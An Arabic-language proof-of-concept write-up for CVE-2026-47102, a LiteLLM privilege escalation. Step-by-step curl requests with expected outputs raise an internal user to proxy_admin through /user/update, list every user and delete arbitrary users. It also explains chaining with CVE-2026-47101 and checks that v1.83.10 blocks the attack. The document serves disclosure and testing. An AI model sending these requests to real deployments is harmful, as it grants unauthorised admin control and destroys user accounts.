
الكود الخاص بإعادة إنتاج الثغرة المقابلة شخصيًا
/user/updateLiteLLM تسمح نقطة النهاية
/user/updateفي الإصدار v1.83.7 (قبل v1.83.10) للمستخدمين ذوي الامتيازات المنخفضة الذين لديهم إمكانية الوصول إلى هذه النقطة بتعديل حقلuser_roleلـproxy_adminعند تحديث حسابهم الخاص، مما يؤدي إلى تصعيد امتيازات غير مصرح به.
| الحقل | القيمة |
|---|---|
| CVE | CVE-2026-47102 |
| CVSS v3.1 | 8.8 (عالية) — AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H |
| CWE | CWE-863 (تفويض غير صحيح) |
| المتأثر | LiteLLM < 1.83.10 (تم التأكيد في v1.83.7) |
| المُصلح | v1.83.10+ (أُضيف التحقق من إذن تعديل حقل user_role) |
| نُشر | 2026-05-21 |
| اكتشف بواسطة | Fenix Qiao (13ph03nix) — Obsidian Security |
| روابط | NVD |
تُستخدم نقطة النهاية /user/update في LiteLLM لتحديث خصائص المستخدم. في الإصدارات المتأثرة،
تتحقق دالة can_user_call_user_update() في /user/update مما إذا كان للمستخدم صلاحية تحديث مستخدم معين
(تسمح للمستخدم بتحديث سجله الخاص)، ولكنها لا تفرض أي قيود على الحقول القابلة للتعديل.
هذا يعني أن أي مستخدم يمكنه الوصول إلى نقطة النهاية /user/update (مثل مستخدم منحه المسؤول صلاحية المسار،
أو مهاجم حصل على إمكانية الوصول إلى هذه النقطة من خلال ثغرة أخرى)، يمكنه تعديل حقل user_role الخاص به
لرفع دوره إلى proxy_admin، والحصول على إمكانية الوصول الكامل إلى جميع نقاط النهاية الإدارية.
مسؤول (Admin) ينشئ مفتاح API للمستخدم الداخلي (internal_user) مع صلاحية مسار /user/update
→ يحصل المستخدم الداخلي (internal_user) على صلاحية الوصول على مستوى المسار
→ POST /user/update {"user_id": "...", "user_role": "proxy_admin"} ← CVE-2026-47102
→ يتم رفع الدور إلى proxy_admin
→ GET /user/list (التحقق من إمكانية الوصول الإداري)
| عنصر المقارنة | CVE-2026-47101 | CVE-2026-47102 |
|---|---|---|
| تركيز الثغرة | /key/generate لا يتحقق من allowed_routes | /user/update يفتقر إلى صلاحية على مستوى الحقل |
| شرط الهجوم | يمكن للمستخدم الداخلي (internal_user) استدعاء /key/generate مباشرة | يحتاج أولاً إلى الحصول على صلاحية الوصول لمسار /user/update |
| الإصدار المُصلح | v1.83.14 | v1.83.10 |
يمكن استخدام الثغرتين معًا: CVE-2026-47101 لإنشاء مفتاح ذي مسار شامل (للوصول إلى
/user/update)، و CVE-2026-47102 لرفع دور المستخدم إلىproxy_admin.
# 1. تشغيل PostgreSQL + LiteLLM المُصاب (v1.83.7-stable)
docker compose up -d litellm
# انتظار جاهزية الخدمة (حوالي 10-30 ثانية)
sleep 15
# فحص سجلات الحاوية
docker logs litellm-47102-privesc 2>&1 | tail -10
يجب أن يحتوي الإخراج المتوقع على سجلات نجاح بدء التشغيل مثل Uvicorn running on http://0.0.0.0:4000.
استخدم المفتاح الرئيسي (master key) لإنشاء حساب internal_user منخفض الامتيازات:
curl -s -X POST http://localhost:4002/user/new \
-H "Authorization: Bearer sk-litellm-master-key" \
-H "Content-Type: application/json" \
-d '{"role": "internal_user"}'
الإخراج المتوقع:
{"user_id":"xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx","key":"sk-xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx"}
يقوم المسؤول بإنشاء مفتاح API للمستخدم الداخلي (internal_user) مع إمكانية الوصول إلى مسار /user/update.
هذه هي الطريقة النموذجية لامتلاك إذن الوصول إلى نقطة النهاية /user/update في بيئة حقيقية:
# استخدام المفتاح الرئيسي لإنشاء مفتاح بمسار /user/update
curl -s -X POST http://localhost:4002/key/generate \
-H "Authorization: Bearer sk-litellm-master-key" \
-H "Content-Type: application/json" \
-d '{"allowed_routes": ["/user/update"], "user_id": "your-user-id"}'
الإخراج المتوقع:
{"key":"sk-xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx","allowed_routes":["/user/update"],"user_id":"xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx"}
استخدم المفتاح الذي تم الحصول عليه في الخطوة السابقة مع صلاحية مسار /user/update لرفع دور المستخدم إلى proxy_admin:
curl -s -X POST http://localhost:4002/user/update \
-H "Authorization: Bearer sk-route-key" \
-H "Content-Type: application/json" \
-d '{"user_id": "your-user-id", "user_role": "proxy_admin"}'
الإخراج المتوقع:
{"user_id":"xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx","data":{"user_role":"proxy_admin",...}}
⚠️ نقطة الثغرة: تم تغيير
user_roleمنinternal_userإلىproxy_admin! تسمح نقطة النهاية/user/updateللمستخدم بتعديل حقلuser_roleالخاص به دون أي قيود على مستوى الحقل.
تحقق من نجاح تصعيد الدور من خلال نقطة النهاية /user/list (باستخدام مفتاح API الأصلي للمستخدم الداخلي،
الذي ليس له قيود على المسارات، وبعد رفعه إلى proxy_admin يحصل تلقائيًا على صلاحيات إدارية):
# استخدام المفتاح الذي تم رفعه إلى proxy_admin (مفتاح internal_user الأصلي بدون قيود مسار)
curl -s -X GET http://localhost:4002/user/list \
-H "Authorization: Bearer sk-internal-user-key" \
-H "Content-Type: application/json"
الإخراج المتوقع:
{"users":[{"user_id":"xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx","user_role":"proxy_admin",...}]}
باستخدام صلاحية proxy_admin المكتسبة، يمكن حذف أي مستخدم عبر /user/delete
(باستخدام نفس مفتاح API الأصلي للمستخدم الداخلي):
curl -s -X POST http://localhost:4002/user/delete \
-H "Authorization: Bearer sk-internal-user-key" \
-H "Content-Type: application/json" \
-d '{"user_ids": ["user-id-to-delete"]}'
الإخراج المتوقع:
1
تم دمج الخطوات أعلاه في demo.sh، يمكن تشغيله مباشرة:
# إعادة إنتاج كاملة (بما في ذلك مقارنة الإصدار المُصاب مع المُصلح)
bash demo.sh
شغّل الإصدار المُصلح (v1.83.10-stable) للتحقق من إصلاح CVE-2026-47102:
docker compose --profile fixed up -d litellm-fixed
أنشئ مستخدمًا داخليًا:
FIXED_USER_RESP=$(curl -s -X POST http://localhost:4003/user/new \
-H "Authorization: Bearer sk-litellm-master-key" \
-H "Content-Type: application/json" \
-d '{"role": "internal_user"}')
FIXED_USER_ID=$(echo "$FIXED_USER_RESP" | python3 -c "import sys,json; print(json.load(sys.stdin).get('user_id',''))")
أنشئ مفتاحًا بمسار /user/update:
FIXED_ROUTE_KEY=$(curl -s -X POST http://localhost:4003/key/generate \
-H "Authorization: Bearer sk-litellm-master-key" \
-H "Content-Type: application/json" \
-d "{\"allowed_routes\": [\"/user/update\"], \"user_id\": \"$FIXED_USER_ID\"}" | \
python3 -c "import sys,json; print(json.load(sys.stdin).get('key',''))")
حاول رفع الامتيازات (من المتوقع أن يتم منعه):
curl -s -X POST http://localhost:4003/user/update \
-H "Authorization: Bearer $FIXED_ROUTE_KEY" \
-H "Content-Type: application/json" \
-d "{\"user_id\": \"$FIXED_USER_ID\", \"user_role\": \"proxy_admin\"}"
الإخراج المتوقع (الإصدار المُصلح يمنع الطلب غير المصرح به):
{"error":{"message":"Only proxy admins can modify user roles.","type":"auth_error","code":"403"}}
المقارنة مع الإصدار المُصاب:
| سيناريو الاختبار | الإصدار المُصاب (v1.83.7) | الإصدار المُصلح (v1.83.10) |
|---|---|---|
| مفتاح المسار يُعدِّل user_role | ✅ نجح في رفع الامتيازات إلى proxy_admin | ❌ مُنع ("Only proxy admins can modify user roles.") |
| الوصول إلى /user/list | ✅ نجح في الحصول على قائمة المستخدمين | ❌ مُنع |
يقع السبب الجذري للثغرة في دالة can_user_call_user_update() في نقطة النهاية /user/update:
/user/update — عدم وجود التحقق من صلاحية الحقل